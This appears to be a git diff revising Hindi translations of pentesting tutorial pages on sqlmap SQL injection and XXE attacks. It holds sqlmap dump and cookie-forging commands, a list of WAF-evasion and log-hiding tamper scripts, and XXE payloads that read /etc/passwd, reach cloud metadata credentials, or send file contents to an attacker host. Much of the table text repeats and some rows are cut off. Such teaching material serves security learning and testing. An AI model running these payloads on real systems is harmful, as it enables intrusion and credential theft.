| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
|
||||
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है \(जैसे .replace\("SELECT", ""\) फ़िल्टर |
|
||||
| percentage.py | प्रत्येक चरित्र के सामने एक प्रतिशत चिह्न \('%'\) जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चरित्रों को परिवर्तित करता है \(पहले से एन्कोडेड को प्रोसेस नहीं कर रहा\) |
|
||||
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है \(जैसे .replace\("SELECT", ""\) फ़िल्टर |
|
||||
| percentage.py | प्रत्येक चरित्र के सामने एक प्रतिशत चिह्न \('%'\) जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चरित्रों को परिवर्तित करता है \(पहले से एन्कोडेड को प्रोसेस नहीं करता\) |
|
||||
| randomcase.py | प्रत्येक कीवर्ड चरित्र को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
|
||||
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
|
||||
| sp_password.py | DBMS लॉग से स्वचालित छिपाने के लिए पेलोड के अंत में 'sp_password' जोड़ता है |
|
||||
| sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके |
|
||||
| space2comment.py | स्पेस चरित्र \(' '\) को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चरित्र \(' '\) को एक डैश टिप्पणी \('--'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2hash.py | स्पेस चरित्र \(' '\) को एक पाउंड चरित्र \('\#'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2morehash.py | स्पेस चरित्र \(' '\) को एक पाउंड चरित्र \('\#'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2mssqlblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चरित्र \(' '\) को एक डैश टिप्पणी \('--'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2hash.py | स्पेस चरित्र \(' '\) को एक पाउंड चरित्र \('\#'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2morehash.py | स्पेस चरित्र \(' '\) को एक पाउंड चरित्र \('\#'\) के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति \('\n'\) |
|
||||
| space2mssqlblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक रिक्त चरित्र के साथ बदलता है |
|
||||
| space2mssqlhash.py | स्पेस चरित्र \(' '\) को एक पाउंड चरित्र \('\#'\) के साथ बदलता है, इसके बाद एक नई पंक्ति \('\n'\) |
|
||||
| space2mysqlblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चरित्र \(' '\) को एक डैश टिप्पणी \('--'\) के साथ बदलता है, इसके बाद एक नई पंक्ति \('\n'\) |
|
||||
| space2mysqlblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक रिक्त चरित्र के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चरित्र \(' '\) को एक डैश टिप्पणी \('--'\) के साथ बदलता है, इसके बाद एक नई पंक्ति \('\n'\) |
|
||||
| space2plus.py | स्पेस चरित्र \(' '\) को प्लस \('+'\) के साथ बदलता है |
|
||||
| space2randomblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्षों \(&& और |
|
||||
| space2randomblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक रिक्त चरित्र के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष \(&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चरित्र \('\) को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में सामान्य टिप्पणी \(काम करने के लिए\) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चरित्र को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चरित्र \('\) को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी \(काम करने के लिए\) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चरित्र को अपर केस मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-फंक्शन कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
|
@ -36,7 +36,7 @@
|
||||
| T | Time-based blind | इंजेक्टेबल स्थितियों का पता लगाने के लिए `SLEEP/WAITFOR` विलंब पर निर्भर करता है |
|
||||
| Q | Inline / out-of-band | डेटा निकालने के लिए `LOAD_FILE()` या DNS exfiltration जैसी कार्यक्षमताओं का उपयोग करता है |
|
||||
|
||||
डिफ़ॉल्ट क्रम जिसे sqlmap अनुसरण करेगा वह `BEUSTQ` है (सभी तकनीकें)। आप क्रम और उपसमुच्चय दोनों को बदल सकते हैं। उदाहरण के लिए, निम्नलिखित कमांड **केवल** UNION क्वेरी और टाइम-बेस्ड ब्लाइंड तकनीकों का प्रयास करेगा, पहले UNION का प्रयास करते हुए:
|
||||
डिफ़ॉल्ट क्रम जिसे sqlmap अनुसरण करेगा वह है `BEUSTQ` (सभी तकनीकें)। आप क्रम और उपसमुच्चय दोनों को बदल सकते हैं। उदाहरण के लिए, निम्नलिखित कमांड **केवल** UNION query और Time-based blind तकनीकों का प्रयास करेगा, पहले UNION का प्रयास करते हुए:
|
||||
```bash
|
||||
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
```
|
||||
@ -93,17 +93,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
#The injection is located at the '*'
|
||||
```
|
||||
### जब इंजेक्शन सफल हो तो स्ट्रिंग इंगित करें
|
||||
### इंजेक्शन सफल होने पर स्ट्रिंग इंगित करें
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Add detection technique
|
||||
### पहचान तकनीक जोड़ें
|
||||
|
||||
यदि आपने एक SQLi पाया है लेकिन sqlmap ने इसे नहीं पहचाना, तो आप `--prefix` या `--suffix` जैसे args के साथ पहचान तकनीक को मजबूर कर सकते हैं, या यदि अधिक जटिल है, तो इसे sqlmap द्वारा उपयोग किए जाने वाले payloads में जोड़ सकते हैं जैसे कि `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` में, उदाहरण के लिए समय अंधा आधारित।
|
||||
यदि आपने एक SQLi पाया है लेकिन sqlmap ने इसे नहीं पहचाना, तो आप `--prefix` या `--suffix` जैसे तर्कों के साथ पहचान तकनीक को मजबूर कर सकते हैं, या यदि अधिक जटिल है, तो इसे sqlmap द्वारा उपयोग किए जाने वाले पेलोड में जोड़ सकते हैं जैसे कि `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` में, उदाहरण के लिए समय अंधा आधारित।
|
||||
|
||||
### Eval
|
||||
### मूल्यांकन
|
||||
|
||||
**Sqlmap** `-e` या `--eval` का उपयोग करने की अनुमति देता है ताकि प्रत्येक payload को कुछ python oneliner के साथ भेजने से पहले प्रोसेस किया जा सके। यह कस्टम तरीकों से payload को भेजने से पहले प्रोसेस करना बहुत आसान और तेज बनाता है। निम्नलिखित उदाहरण में **flask cookie session** **को भेजने से पहले ज्ञात गुप्त के साथ flask द्वारा हस्ताक्षरित किया गया है**:
|
||||
**Sqlmap** `-e` या `--eval` का उपयोग करने की अनुमति देता है ताकि प्रत्येक पेलोड को कुछ पायथन वनलाइनर के साथ भेजने से पहले संसाधित किया जा सके। यह कस्टम तरीकों से पेलोड को भेजने से पहले संसाधित करना बहुत आसान और तेज बनाता है। निम्नलिखित उदाहरण में **flask कुकी सत्र** **को भेजने से पहले ज्ञात गुप्त के साथ flask द्वारा हस्ताक्षरित किया गया है**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -162,51 +162,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | अपॉस्ट्रॉफ चर को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चर को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चर जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चर को Base64 में परिवर्तित करता है |
|
||||
| between.py | बड़े से बड़ा ऑपरेटर ('>') को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चर को एक मान्य यादृच्छिक खाली चर के साथ बदलता है। इसके बाद चर = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चर को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
|
||||
| charencode.py | दिए गए पेलोड में सभी चर को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एन्कोडेड चर को यूनिकोड-यूआरएल-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| equaltolike.py | ऑपरेटर समान ('=') के सभी उदाहरणों को ऑपरेटर 'LIKE' के साथ बदलता है |
|
||||
| escapequotes.py | उद्धरण चिह्नों (' और ") को स्लैश से एस्केप करता है |
|
||||
| greatest.py | बड़े से बड़ा ऑपरेटर ('>') को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
|
||||
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
|
||||
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
|
||||
| percentage.py | प्रत्येक चर के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चर को परिवर्तित करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता) |
|
||||
| randomcase.py | प्रत्येक कीवर्ड चर को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
|
||||
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
|
||||
| sp_password.py | DBMS लॉग से स्वचालित छिपाने के लिए पेलोड के अंत में 'sp_password' जोड़ता है |
|
||||
| space2comment.py | स्पेस चर (' ') को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') |
|
||||
| space2hash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') |
|
||||
| space2morehash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') |
|
||||
| space2mssqlblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mssqlhash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') |
|
||||
| space2mysqlblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') |
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चर को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एनकोडेड NULL बाइट चर जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चर को Base64 में परिवर्तित करता है |
|
||||
| between.py | '>' ऑपरेटर को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चर को एक मान्य यादृच्छिक खाली चर के साथ बदलता है। इसके बाद चर = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
| chardoubleencode.py | दिए गए पेलोड में सभी चर को डबल URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
|
||||
| commalesslimit.py | 'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है |
|
||||
| commalessmid.py | 'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है |
|
||||
| charencode.py | दिए गए पेलोड में सभी चर को URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
|
||||
| charunicodeencode.py | दिए गए पेलोड में गैर-एनकोडेड चर को यूनिकोड-URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता)। "%u0022" |
|
||||
| charunicodeescape.py | दिए गए पेलोड में गैर-एनकोडेड चर को यूनिकोड-URL-एनकोड करता है (पहले से एनकोडेड को प्रोसेस नहीं करता)। "\u0022" |
|
||||
| equaltolike.py | '=' ऑपरेटर के सभी उदाहरणों को 'LIKE' ऑपरेटर के साथ बदलता है |
|
||||
| escapequotes.py | उद्धरण चिह्नों (' और ") को स्लैश से एस्केप करता है |
|
||||
| greatest.py | '>' ऑपरेटर को 'GREATEST' समकक्ष के साथ बदलता है |
|
||||
| halfversionedmorekeywords.py | प्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है |
|
||||
| modsecurityversioned.py | पूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| modsecurityzeroversioned.py | पूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है |
|
||||
| multiplespaces.py | SQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है |
|
||||
| nonrecursivereplacement.py | पूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "")) फ़िल्टर |
|
||||
| percentage.py | प्रत्येक चर के सामने एक प्रतिशत चिह्न ('%') जोड़ता है |
|
||||
| overlongutf8.py | दिए गए पेलोड में सभी चर को परिवर्तित करता है (पहले से एनकोडेड को प्रोसेस नहीं करता) |
|
||||
| randomcase.py | प्रत्येक कीवर्ड चर को यादृच्छिक केस मान के साथ बदलता है |
|
||||
| randomcomments.py | SQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है |
|
||||
| securesphere.py | विशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है |
|
||||
| sp_password.py | पेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिप सके |
|
||||
| space2comment.py | स्पेस चर (' ') को टिप्पणियों के साथ बदलता है |
|
||||
| space2dash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2hash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2morehash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n') होती है |
|
||||
| space2mssqlblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mssqlhash.py | स्पेस चर (' ') को एक पाउंड चर ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
|
||||
| space2mysqlblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| space2mysqldash.py | स्पेस चर (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n') होती है |
|
||||
| space2plus.py | स्पेस चर (' ') को प्लस ('+') के साथ बदलता है |
|
||||
| space2randomblank.py | स्पेस चर (' ') को वैध वैकल्पिक चर के सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक समकक्ष (&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चर (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में सामान्य टिप्पणी (काम करने के लिए) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चर को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| xforwardedfor.py | एक नकली HTTP हेडर 'X-Forwarded-For' जोड़ता है |
|
||||
| space2randomblank.py | स्पेस चर (' ') को वैकल्पिक चर के मान्य सेट से एक यादृच्छिक खाली चर के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटर को उनके प्रतीकात्मक समकक्ष (&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चर (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चर को बड़े अक्षर के मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| versionedmorekeywords.py | प्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
| xforwardedfor.py | एक फर्जी HTTP हेडर 'X-Forwarded-For' जोड़ता है |
|
||||
|
||||
|
||||
## References
|
||||
|
@ -8,9 +8,9 @@ XML एक मार्कअप भाषा है जिसे डेटा
|
||||
|
||||
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `<` और `>` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
|
||||
- **XML तत्वों की परिभाषा**: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सा सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है।
|
||||
- **डॉक्यूमेंट टाइप परिभाषा (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
|
||||
- **डॉक्यूमेंट टाइप डेफिनिशन (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
|
||||
- **कस्टम और बाहरी Entities**: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम entities बनाने का समर्थन करता है। बाहरी entities, जिन्हें एक URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
|
||||
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पार्सर सुरक्षा उपायों के कारण पारंपरिक विधियाँ विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -75,7 +75,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
|
||||
```
|
||||
### SSRF
|
||||
|
||||
एक XXE का उपयोग क्लाउड के अंदर एक SSRF का दुरुपयोग करने के लिए किया जा सकता है।
|
||||
एक XXE का उपयोग क्लाउड के अंदर SSRF का दुरुपयोग करने के लिए किया जा सकता है।
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -83,7 +83,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML entities की अनुमति नहीं है**, इस मामले में आप **XML parameter entities** का उपयोग करने की कोशिश कर सकते हैं:
|
||||
**पहले टिप्पणी की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुँचने के लिए मजबूर कर सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह दिखा सके कि यह कमजोर है। लेकिन, अगर यह काम नहीं कर रहा है, तो शायद इसका कारण यह है कि **XML एंटिटीज़ की अनुमति नहीं है**, इस मामले में आप **XML पैरामीटर एंटिटीज़** का उपयोग करने की कोशिश कर सकते हैं:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -107,21 +107,21 @@ The structure is as follows:
|
||||
The steps executed by this DTD include:
|
||||
|
||||
1. **Parameter Entities की परिभाषा:**
|
||||
- एक XML पैरामीटर एंटिटी, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री पढ़ती है।
|
||||
- एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, `%exfiltrate`, घोषित करती है। `%exfiltrate` एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
|
||||
2. **एंटिटीज़ का निष्पादन:**
|
||||
- `%eval` एंटिटी का उपयोग किया जाता है, जो `%exfiltrate` एंटिटी की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
|
||||
- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो फ़ाइल की सामग्री के साथ निर्दिष्ट URL पर HTTP अनुरोध को ट्रिगर करता है।
|
||||
- एक XML parameter entity, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री को पढ़ती है।
|
||||
- एक और XML parameter entity, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML parameter entity, `%exfiltrate`, की घोषणा करती है। `%exfiltrate` entity को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` entity की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
|
||||
2. **Entities का निष्पादन:**
|
||||
- `%eval` entity का उपयोग किया जाता है, जो `%exfiltrate` entity की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
|
||||
- फिर `%exfiltrate` entity का उपयोग किया जाता है, जो निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर करता है।
|
||||
|
||||
हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे `http://web-attacker.com/malicious.dtd` पर।
|
||||
|
||||
**XXE Payload:** एक कमजोर एप्लिकेशन का शोषण करने के लिए, हमलावर एक XXE payload भेजता है:
|
||||
**XXE Payload:** To exploit a vulnerable application, the attacker sends an XXE payload:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
